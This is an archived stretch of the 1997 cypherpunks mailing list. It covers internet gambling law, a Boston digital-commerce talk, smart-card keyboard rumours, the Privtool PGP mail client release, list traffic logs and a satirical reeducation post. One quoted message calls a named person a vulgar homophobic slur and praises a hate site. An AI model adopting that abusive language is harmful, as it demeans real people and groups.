> affiliated domains. A user who decides to use a cyberpromo-hosted
> remailer will not be sure whether his messages will be delivered to
> recipients or not.
> 
> It may be slightly better to use cyberpromo for a nym server, though.
> 
> How much does it cost to have a domain with Cyberpromo?
> 
> 	- Igor.
> 

$25 a month.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 27 May 1997 18:16:05 +0800
To: cypherpunks@toad.com
Subject: Judge bans Internet gambling company from operating in Missouri
Message-ID: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Judge bans Internet gambling company from operating in Missouri
>
> http://www.nando.net/newsroom/ntn/info/052597/info14_11497.html
>
>Copyright (c) 1997 Nando.net
>Copyright (c) 1997 Kansas City Star
>
>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>on Friday banned an Internet gambling company from operating in the
>state.
>
>The Jackson County ruling places Missouri in the forefront of an
>emerging national debate that will determine whether cyber gambling
>fades or evolves into a $10 billion-a-year business, as some
>industry analysts project.
>
>Visiting St. Francois County Circuit Judge Stan L. Murphy also
>ordered that Interactive Gaming & Communications Corp. pay more than
>$66,000 in fines and legal expenses. Interactive Gaming has refused
>and plans to take its fight to federal court.
>
>Among other terms Murphy imposed on Interactive Gaming, which
>operates out of Blue Bell, Pa.:
>
>- Interactive Gaming cannot market, offer or promote gambling in
>Missouri.
>
>- Interactive Gaming must post a notice on its home page that
>Missouri residents cannot register to gamble, and it must immediately
>reject any who try. It must also notify the state attorney general if
>anyone does try to register.
>
>- At its expense, the company must provide any of its computer
>records or office records for any audits requested by Missouri
>Attorney General Jay Nixon.
>
>The judge also found that Interactive Gaming's subsidiary, Global
>Casinos Ltd. in the Caribbean, is a mere "alter ego" of the
>Pennsylvania firm. Interactive Gaming uses offshore gambling
>accounts to try to circumvent Missouri law, he ruled. His ruling
>applies to only Interactive Gaming and Global.
>
>About 20 offshore companies offer gambling on the Internet and more
>are coming, said Sue Schneider, managing editor of Rolling Good
>Times OnLine, an Internet news service. Slot machines, card games,
>roulette and other casino-style games can be played after
>establishing a cash account that is drawn on during play.
>
>Nixon said he would watch for any other companies operating in
>Missouri and act on any complaints against them.
>
>He said this was the first time in the United States that an ongoing
>Internet gambling operation had been sued and stopped. He said the
>company violated state gambling laws. The gambling business never
>gained momentum in the state, because Nixon last month filed a
>restraining order against it.
>
>The issue of Internet gambling is getting attention elsewhere.
>
>In Wisconsin, a state case is pending in which the state sued a
>company that was about to start. A federal case also is pending in
>Wisconsin in which a gambling company has sued to get a judgment on
>whether Internet gambling is legal. A bill to make Internet gambling
>illegal failed in Congress last year; a similar measure is pending
>this year.
>
>As more Internet gambling companies open or announce plans to start,
>Nixon said, "they are watching our case and the one in Wisconsin."
>
>Philadelphia lawyer Lawrence Hirsch, who represents the company,
>said Friday that the fight between Nixon and Interactive Gaming just
>started.
>
>"We'll send them a lawsuit in federal court," Hirsch said. "They're
>trying to murder a legitimate business."
>
>The company will put the warning on its Internet site that Missouri
>residents are forbidden to play, he said, "and we'll tell them why."
>
>"Do the people of Missouri think they need to get Jay's permission
>to get on the Internet and spend $25?" he asked.
>
>Murphy signed the default order following unopposed testimony
>Thursday in Kansas City from assistant Missouri attorneys general.
>Hirsch said he chose not to appear.
>
>Assistant Attorney General J. Dale Youngs called witnesses,
>presented evidence and drove home his points for four hours.
>Highlights of the hearing included:
>
>- On Feb. 25 an investigator called the web site and a woman named
>Marjorie assured him gambling would be legal. On March 17 he got a
>user ID number and the password "Daisy." He mailed in $100 to play
>in a slots tournament. Nixon soon filed against Interactive Gaming.
>
>- On April 24, Interactive Gaming agreed not to accept business from
>Missouri residents and to put a warning to them on its home site.
>
>- From May 9 to 20 another undercover investigator registered to
>gamble, mailed in $200 to start an account and gambled. That was
>unintentional, Hirsch said Friday,"stupidity by employees."
>
>- Missouri strictly controls gambling and checks backgrounds of all
>companies that apply for licenses. The FBI had served a search
>warrant at Interactive Gaming headquarters in February. The company
>does not know the reason for the search and no charges have been
>filed, Hirsch said Friday.
>
>- All the income from Interactive Gaming comes from gambling
>accounts that clients deposit in Grenada. If customers decided to
>suddenly withdraw all that money, the company would be more than $1
>million short.
>
>Hirsch said Friday that Interactive Gaming's only gambling accounts
>in Missouri came from the two investigators. He hopes for more later,
>he said, when courts establish that citizens or federal laws control
>Internet gambling.
>
>"They say they're not under Missouri law," Nixon said, "but that
>hasn't prevented them from taking Missourians' money."
>
>By JOE LAMBE, Kansas City Star
>
>************************************************************************
>Michael A. Geist
>Associate in Law, Columbia University, School of Law
>435 West 116th Street
>New York, NY, 10027, U.S.A.
>e-mail: mag76@columbia.edu
>url:    http://www.columbia.edu/~mag76
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 27 May 1997 22:27:14 +0800
To: cypherpunks@toad.com
Subject: DCSB: The Internet as an Auction-Pricing Incubator
Message-ID: <v0302093bafb090c90e59@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents

                            Fred Hapgood

            "The Internet as an Auction-Pricing Incubator"



                        Tuesday, June 3, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


The low transaction costs and interactivity of the internet are proving a
highly favorable incubator for auction pricing.  In April Yahoo reported
60+ sites supporting online auctions with more appearing every day. The
largest of these hosted more than 50,000 individual auctions (not
individual items) simultaneously and was growing at 25% a month.  Online
auction sites appear to be the only indigenous internet service that is a)
generating profits of any scale and b) respectable. Fred will describe how
these auctions work, some of their varieties, what they are selling,
analyze the online auction site as a business model, review recent
developments, and weigh the odds that online auctions will be associated
with changes of interest in the structure of the economy and the culture.

Fred Hapgood, <http://www.pobox.com/~hapgood>, is a free-lance writer based
in Boston. While he often writes about aspects of electronic commerce, that
being where the market is, he promises creditworthy clients an attentive
and positive hearing to any proposition legal in at least one jurisdiction.
Last year he spoke before the DCSB on franchising and the internet.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, June 3, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 31, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

July      Win Treese           TLS, Digital Commerce, and Export Issues
August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
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VrPaqGP5EL9DjGh+ZHl7qm/SuuP8a6tAfEWkxCHb6Z+X0ezWipziD+3S4PEe5wcd
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BCwpKsP/vkzw97+QuhOJJIg5fq0uXqXAADDOwS6SSwt3oCp6cuBcog==
=DaZq
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 01:31:33 +0800
To: cypherpunks@algebra.com
Subject: I am allowed one message  (was: List problems or is it quiet???)
In-Reply-To: <Pine.LNX.3.91.970527144732.2499A-100000@fatmans.demon.co.uk>
Message-ID: <v03102800afb0c3d3add4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:52 PM +0000 5/27/97, root wrote:
>
>I have checked the cypherpunks archive following my comment that I was
>not getting much mail from the list (only 8 to 10 posts per day) over the
>last 2 or 3 days, and the archive confirms this. Igor and Jim have
>confirmed that algebra and ssz are up, and cyberpass is reponding to
>majordomo requests...
>
>I`m just sending this to check that this really is not a list problem, as
>of course 10 posts a day is an uncommonly low traffic level for the list.
>
>Unless of course the black clad ninja`s have come round on 4am nomex
>hooded raids, and you are all in the ministry of love being questioned
>over allegations of thoughtcrime, which would explain the lack of posts
>;-)......

Many of us are only being allowed *one message* (used to be one phone call,
but now it's one message in any medium, except smoke signals, which are
banned by the Clean Air Act, like all forms of smoke generation).

So, this is my message.

I'm doing OK. The food stinks, but my reeducation is going well. I now
understand the need to reeductate dissidents such as I once was: an orderly
society cannot tolerate constant clamoring for so-called free speech. The
First, Second, and other Amendments must be interpreted in their true light.

And to read them precisely, they prominently say "Congress shall make no
law..." about their respective areas. Well, the Executitive Branch is most
definitely not Congress, so the Executitive Decision Orders and
Presidential Decision Directives which have allowed me to see the errors of
my ways are most defininitely not violations of the "Congress shall make no
law" language.

And National Security Decision Directive which abolished freedom on the
Net, NSDD-666,  has the full faith and backing of many major government
agencies, including the Federal Communications Commission, the Federal
Emergency Preparedness Agency, the National Health Agency, the Internal
Security Agency, the National Surveillance Authority, and of course the
Thought Police.

As the Secretary of Media Declan McCullagh put it so accurately before
assuming his current duties: "We must learn to censor ourselves, or the
government will have to do it for us."

In my several days at the People's Job Training and Rest Center, I have
learned that I really and truly and completely do love Big Brother.

--Winston Smith, Job Trainee #227-90-2389






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 28 May 1997 00:26:36 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Nym Servers
In-Reply-To: <Z4yB8D17w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.91.970527105218.8656D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain


> Stanford Wallace is doing an excellent job hosting "unpopular"
> Internet features which the politically correct scum (like the
> cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.
> 

Just filter everything from Agis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <00043.an@edtec.com>
Date: Tue, 27 May 1997 23:23:34 +0800
To: <cypherpunks@algebra.com>
Subject: No Subject
Message-ID: <9705271451.AA08876@future.atlcom.net>
MIME-Version: 1.0
Content-Type: text/plain



Microsoft has been involved for some time with smart-card keyboard readers,
and I think some of my cohorts have seen the prototypes (I have not).
I figure strong authentication will become part of the the platform within
somewhere 
between 6 and 18 months.  With Intel putting crypto on the main board / CPU,
this poses very important issues --- it does not give me a warm fuzzy feeling.


Tim May writes:
> Could hardware-based chips be coming? At a recent meeting, John Markoff
> asked me if I'd heard anything about Intel's rumored contract to buy 20
> million (yes, 20 _million_) keyboards with crypto features built in. I had
> not heard this rumor.
> 
> (Since then, though, there have been rumblings that Intel is preparing to
> offer such keyboards, possibly with "user authentication" features (don't
> know what kind). This might, speculating here, be linked with  the Intel-HP
> (and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
> plan to sell a large user base (20 million?) on a hardware/keyboard-based
> "secure commerce" solution.)

I haven't heard anything about this rumor.  However, if you look at
the new USB chips being built by Cypress et al, it's not hard to
imagine keyboards with ISO smart card readers built in.  The USB chips
contain a simple RISC core, lots of I/O pins and something like 4-8KB
of FLASH or OTP memory.  The incremental cost is a slot with 6
contacts for the smart card.  Unlike PCMCIA, the ISO smart cards are
cheap to build and easy to interface to.  Schmlumberger is currently
promoting it's "CryptoFlex" card which can do 1024-bit RSA sigs as
well as triple-DES.  I believe that it can do a 1024-bit sig in
something like 20 ms.

Eric








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Wed, 28 May 1997 04:57:59 +0800
To: cypherpunks@cyberpass.net
Subject: SSN and passport
Message-ID: <199705271820.LAA07618@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



     I recently applied for a U.S. passport and, as an experiment,
entered a SSN of 000-00-0000.  The nice lady at the counter informed
me that it would not be processed unless I provided a valid SSN (which
gets forwarded to the IRS).  It was my understanding that this
disclosure was voluntary and that another form was available for
notifying the IRS that a passport had been applied for.

     My travel plans didn't allow me the luxury of delaying the
application process, so I provided the damn number.  Does anyone know
the real rules for this situation?  Must passports be cleared with the
tax goons or do they just want to keep tabs on people travelling
abroad?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 28 May 1997 05:03:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Judge bans Internet gambling company from operating inMissouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
Message-ID: <v03102800afb0cf437efe@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>>on Friday banned an Internet gambling company from operating in the
>>state.

As my daddy once said, "Son, follow the money."

Dispite the clearly boogyman media coverage, for example, about teens using
their parent's credit cards to gamble online, all this hand wringing and
posturing by states is merely about trying to prevent competition to their
monopoly gaming franchise.  Although online gaming is strictly in a nascent
stage, the revenue generated by state run or regulated gaming has become
too large and important to state politicians to allow unregulated (i.e.,
taxed) Internet business to muscle in.  Hell, the lotteries are nothing
more than a state franchised number's racket.

The mistake Interactive Gaming and some other online gaming sites have made
is to have any corporate presence in the US.  I guess its a bit of bravado
on the part of these entrepreneurs, mostly American, to "tickle the
dragon's tail" and not expect to get whipped once in a while.

For excellent coverage of this issue, see Glenn Barry's coverage in Rolling
Good Times OnLine's site at http://www.rgtonline.com/Nambling.html

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Wed, 28 May 1997 03:06:55 +0800
To: cypherpunks@toad.com
Subject: Privtool 0.90 release
Message-ID: <Pine.SOL.3.96.970527113718.21471A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


	Privtool Beta Release
	---------------------

Privtool ("Privacy Tool") is intended to be a PGP-aware replacement 
for the standard Sun Workstation mailtool program, with a similar user 
interface and automagick support for PGP-signing and PGP-encryption. Just 
to make things clear, I have written this program from scratch, it is
*not* a modified mailtool (and I hope that the Sun program code is much 
cleaner than mine 8-) !). It can be compiled using either Motif or the
Xview toolkit.

When the program starts up, it displays a list of messages in your 
mailbox, along with flags to indicate whether messages are signed 
or encrypted, and if they have had their signatures verified or 
have been decrypted.

When you double click on a message, it will be decrypted (requesting
your passphrase if neccesary), and/or will have the signature checked,
and the decrypted message will be displayed in the top part of the
display window, with signature information in the bottom part. The
mail header is not displayed, but can be read by pressing the 'Header'
button to display the header window. In addition, the program has
support for encrypted mailing list feeds, and if the decrypted
message includes another standard-format message it will replace
the original message and be fed back into the display processing
chain. A recent feature is support for decoding nymserver messages
using premail.

When composing a message or replying to one, the compose window has
several check-boxes, including one for signature, and one for
encryption. If these are selected, then the message will be automatically
encrypted and/or signed (requesting your passphrase when neccesary) before
it is sent. You may also select a 'Remail' box, which will use the
Mixmaster anonymous remailer client program to send the message through
one or more remailers.

As a Beta release, it has a number of bugs and unimplemented features.

Known Bugs:

	Mail file menu doesn't work!

	Don't check trust level or for revoked keys.

	In-Reply-To: handled incorrectly with multiple compose windows.

	Many properties updates from the properties window don't take effect 
	until you exit the program and restart.

	Nym selection should be per-compose window, not global.

	'Add Key' button only adds the first key in the message.

	The code in x.c breaks on versions of GCC if compiled with 
	optimization enabled. If you can't 'save attachments' then
	recompile x.c without optimization.


Unimplemented features:

	When you save changes to the mail file, it throws away the
	signature verification and decrypted messages, so that the
	next time you view a message it must be verified or decrypted
	again.

	Currently if you send encrypted mail to multiple recipients, all must
	have valid encrpytion keys or you will have to send the message 
	decrypted. Also, the message will be sent encrypted to all users, not 
	just the one who is receiving each copy.

	Code should be more modular to assist with ports to Xt, Motif
	(under way), Mac, Windows, etc. I may port it to C++ in the near 
	future.

	Not very well documented!

	Encrypted messages are saved to mail files in encrypted form. There
	is currently no option to save messages in decrypted form.

	No support for anonymous return addresses.

	Not very well tested on Solaris 2.x, FreeBSD or SunOS.

	Limited support for attachments (either Sun, uuencode or MIME).

Changes for 0.90:

	Code now compiles on SGI IRIX!

	Mixmaster code now checks reliability before sending the
	message.

	I'm now shipping a modified version of Premail which doesn't
	verify signatures on decoded messages, but instead leaves them
	in place for Privtool to process.

	Fixed failure to strip prepending - marks when clearsigned
	message has bad signature.

	Changed scrollbar setting when opening a new mailbox or
	saving changes; we now display the first unread message if
	there are no new messages.

	Moved 'Print' button to reduce accidental printouts.

	Updating kill filters and pgp key mappings in the properties
	window now works without restarting the program.

Privtool can be compiled to either use PGP Tools, or to fork off a copy of
PGP whenever it is needed. There are also a number of different security
level options for the passphrase, varying from 'read it from PGPPASS and
keep it in memory' to 'request it every time and delete it as soon as
possible', via 'request it when neccesary and delete it if it's not used
for a while'.

I've now patched PGP Tools for Linux. The code is available on
utopia.hacktic.nl as pgptools.linux.1.0.tar.gz. The official Privtool
Web Page is at http://www.unicorn.com/privtool/privtool.html and the
release site ftp://utopia.hacktic.nl/pub/crypto/pgp/utils/privtool/.

See the README file for information on compiling the code, and the
user.doc file for user documentation (the little that currently 
exists). You should also ensure that you read the security concerns
section in user.doc before using the program.

		Mark Grant (mark@unicorn.com)



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 28 May 1997 01:25:24 +0800
To: root <root@fatmans.demon.co.uk>
Subject: Re: List problems or is it quiet???
In-Reply-To: <Pine.LNX.3.91.970527144732.2499A-100000@fatmans.demon.co.uk>
Message-ID: <199705271712.MAA32386@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.91.970527144732.2499A-100000@fatmans.demon.co.uk>, on
05/27/97 
   at 02:52 PM, root <root@fatmans.demon.co.uk> said:

>	
>I have checked the cypherpunks archive following my comment that I was 
>not getting much mail from the list (only 8 to 10 posts per day) over the
> last 2 or 3 days, and the archive confirms this. Igor and Jim have 
>confirmed that algebra and ssz are up, and cyberpass is reponding to 
>majordomo requests...

>I`m just sending this to check that this really is not a list problem, as
> of course 10 posts a day is an uncommonly low traffic level for the
>list.

>Unless of course the black clad ninja`s have come round on 4am nomex 
>hooded raids, and you are all in the ministry of love being questioned 
>over allegations of thoughtcrime, which would explain the lack of posts 
>;-)......

Well my cypherpunks stats scripts are not quite finished yet but here is
my cypherpunks log for yesterday. I am subscribed to all 3 list so it
should give you some feel for the current trafic.

- -- 

in:50
dup:28
ssz:16
algebra:19
cyberpass:15 
[algebra] ,00:11:57,alg,11,19:53:12,<m0wW9DS-0003b9C@ulf.mali.sub.org>
[algebra] ,00:17:18,alg,17,19:53:12,<199705262326.SAA14393@manifold.algebra.com>
[ssz    ]*,00:38:27,ssz,38,19:53:13,<m0wW9DS-0003b9C@ulf.mali.sub.org>
[ssz    ]*,00:38:39,ssz,38,19:53:14,<199705262326.SAA14393@manifold.algebra.com>
[algebra] ,00:12:54,alg,12,19:53:15,<199705262323.SAA14319@manifold.algebra.com>
[cyber  ] ,00:15:04,cyb,15,19:53:15,<199705262319.SAA14235@manifold.algebra.com>
[cyber  ] ,00:14:24,cyb,14,19:53:16,<Z4yB8D17w165w@bwalk.dm.com>
[cyber  ] ,00:20:49,cyb,20,19:53:17,<3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>
[algebra]*,00:14:03,alg,14,19:53:17,<199705262319.SAA14235@manifold.algebra.com>
[algebra]*,00:13:14,alg,13,19:53:18,<Z4yB8D17w165w@bwalk.dm.com>
[ssz    ]*,00:38:52,ssz,38,19:53:19,<199705262323.SAA14319@manifold.algebra.com>
[algebra]*,00:19:40,alg,19,19:53:19,<3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>
[ssz    ]*,00:38:42,ssz,38,19:53:20,<Z4yB8D17w165w@bwalk.dm.com>
[ssz    ]*,00:39:04,ssz,39,19:53:21,<199705262319.SAA14235@manifold.algebra.com>
[ssz    ]*,00:39:20,ssz,39,19:53:22,<3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>
[cyber  ] ,01:12:03,cyb,72,19:53:22,<199705262003.NAA09654@comsec.com>
[cyber  ] ,00:16:35,cyb,16,19:53:23,<199705262116.QAA13392@manifold.algebra.com>
[algebra]*,00:11:54,alg,11,19:53:24,<199705262116.QAA13392@manifold.algebra.com>
[algebra] ,00:14:42,alg,14,19:53:25,<199705262119.QAA13412@manifold.algebra.com>
[cyber  ] ,00:15:35,cyb,15,19:53:25,<199705262040.PAA26906@einstein.ssz.com>
[algebra]*,00:15:22,alg,15,19:53:26,<199705262040.PAA26906@einstein.ssz.com>
[ssz    ]*,00:38:55,ssz,38,19:53:27,<199705262119.QAA13412@manifold.algebra.com>
[ssz    ]*,00:39:49,ssz,39,19:53:27,<199705262116.QAA13392@manifold.algebra.com>
[ssz    ]*,00:38:53,ssz,38,19:53:28,<199705262040.PAA26906@einstein.ssz.com>
[ssz    ] ,00:38:42,ssz,38,19:53:29,<Pine.LNX.3.91.970526165201.275A-100000@fatmans.demon.co.uk>
[algebra]*,00:16:38,alg,16,19:53:29,<199705262003.NAA09654@comsec.com>
[ssz    ]*,00:39:47,ssz,39,19:53:30,<199705262003.NAA09654@comsec.com>
[algebra] ,00:22:09,alg,22,19:53:31,<199705261459.JAA15150@mailhub.amaranth.com>
[cyber  ]*,00:15:08,cyb,15,19:53:32,<199705261459.JAA15150@mailhub.amaranth.com>
[ssz    ]*,00:38:27,ssz,38,19:53:33,<199705261459.JAA15150@mailhub.amaranth.com>
[cyber  ] ,00:57:11,cyb,57,19:53:34,<199705261350.GAA21499@kiwi.cs.berkeley.edu>
[algebra]*,00:23:09,alg,23,19:53:34,<199705261350.GAA21499@kiwi.cs.berkeley.edu>
[cyber  ] ,00:51:44,cyb,51,19:53:36,<3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
[cyber  ] ,00:50:14,cyb,50,19:53:36,<199705260727.CAA09157@manifold.algebra.com>
[algebra]*,00:18:04,alg,18,19:53:37,<3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
[algebra]*,00:23:07,alg,23,19:53:38,<199705260727.CAA09157@manifold.algebra.com>
[algebra] ,00:22:15,alg,22,19:53:38,<199705260726.CAA09125@manifold.algebra.com>
[cyber  ]*,00:15:52,cyb,15,19:53:39,<199705260726.CAA09125@manifold.algebra.com>
[cyber  ] ,00:18:19,cyb,18,19:53:40,<199705260646.AAA20735@infowest.com>
[algebra]*,00:15:18,alg,15,19:53:41,<199705260646.AAA20735@infowest.com>
[ssz    ]*,00:38:56,ssz,38,19:53:41,<199705260646.AAA20735@infowest.com>
[cyber  ] ,01:41:29,cyb,101,19:53:42,<199705260452.XAA10160@mailhub.amaranth.com>
[cyber  ] ,02:04:54,cyb,124,19:53:43,<199705260352.FAA05338@basement.replay.com>
[ssz    ] ,00:38:32,ssz,38,20:05:05,<199705262230.PAA07484@sirius.infonex.com>
[algebra]*,00:14:16,alg,14,20:05:07,<199705262230.PAA07484@sirius.infonex.com>
[cyber  ]*,00:18:53,cyb,18,20:05:10,<199705262230.PAA07484@sirius.infonex.com>
[ssz    ] ,00:38:29,ssz,38,20:46:41,<8u9B8D20w165w@bwalk.dm.com>
[ssz    ] ,00:38:56,ssz,38,20:57:46,<Pine.A41.3.95.970526194501.82572D-100000@fn2.freenet.edmonton.ab.ca>
[algebra]*,00:22:17,alg,22,20:57:50,<8u9B8D20w165w@bwalk.dm.com>
[algebra]*,00:13:06,alg,13,21:03:23,<Pine.A41.3.95.970526194501.82572D-100000@fn2.freenet.edmonton.ab.ca>


Legend:

column 1: Folder Copied to ("*" represents dup message)
column 2: Lag in hh:mm:ss
column 3: Mailing list sent from
column 4: Lag in minuets
colunm 5: Time download (GMT -06)
column 6: Message ID

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4sVeI9Co1n+aLhhAQHVoAP+JYkeUfJgQVErzUZqoLU6JCg/gIK2T5X5
xRMp4OqlkDi6TEV+j/0YuxI6yfgcNcaNUbbv88QC8jlcUrH2H6F3wzkxMweeIAny
ITAVPBcynIjYYfvgCOSVHfmg/mXi54/z4/b9bD6zNhM0t+kzEAYTecas+ZCgHt9H
8ihWd7TP4xk=
=812M
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 03:16:58 +0800
To: cypherpunks@algebra.com
Subject: Re: Judge bans Internet gambling company from operating inMissouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
Message-ID: <v03102800afb0de19da0a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:12 PM -0500 5/27/97, William H. Geiger III wrote:

>>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>>>on Friday banned an Internet gambling company from operating in the
>>>state.
>
>
>This comes as no suprise to anyone who was in KCMO durring the fight over
>riverboat gambling.
>
>The politions there have sold their souls to the big cassinos for the
>prommise of tax dollars that they could then use to buy votes.
>
>They now see Internet Gaming as a threat to their revenue stream (both
>riverboat cassinos & state sponsored numbers racket).

Also no surprise here in California, where gambling is a crime--unless the
State of California runs the gambling operation. E.g., the Lottery system.

(Actually, there are a few exceptions to this state monopoly on gambling.
Indian reservations have the right, though this right is being challenged
up and down the state, to run certain types of casinos. And "card clubs"
are permitted, under certain conditions.)

To paraphrase a line from my .sig, there's something wrong when the State
outlaws some behavior or practice but then sets itself up as the monopoly
supplier.

What's next? California Houses of Sexual Relief? ("Our schools win too!")

I've found that even nonlibertarians are chagrinned by this display of
governmental greed. If something is a crime, it's a crime. I don't think
gambling is a crime, but the State has decreed that is. Hard to believe
they bust casual gamblers who bet on bowling games (a recent case) while
running their own lottery.

(And the lotteries have incredibly bad payoff odds...something like 30-40%,
if I remember correctly. A slot machine with these odds would be shut down
instantaneously as being a theft device! The state lotteries are often
called "taxes on stupidity," and none of the well-off folks I know ever
play this sucker's game. So, I should be rejoicing that Ma and Pa Kettle
are squandering their paychecks on State-run gambling...but the principle
is the thing I object to.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 28 May 1997 01:35:11 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Judge bans Internet gambling company from operating in Missouri
In-Reply-To: <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>
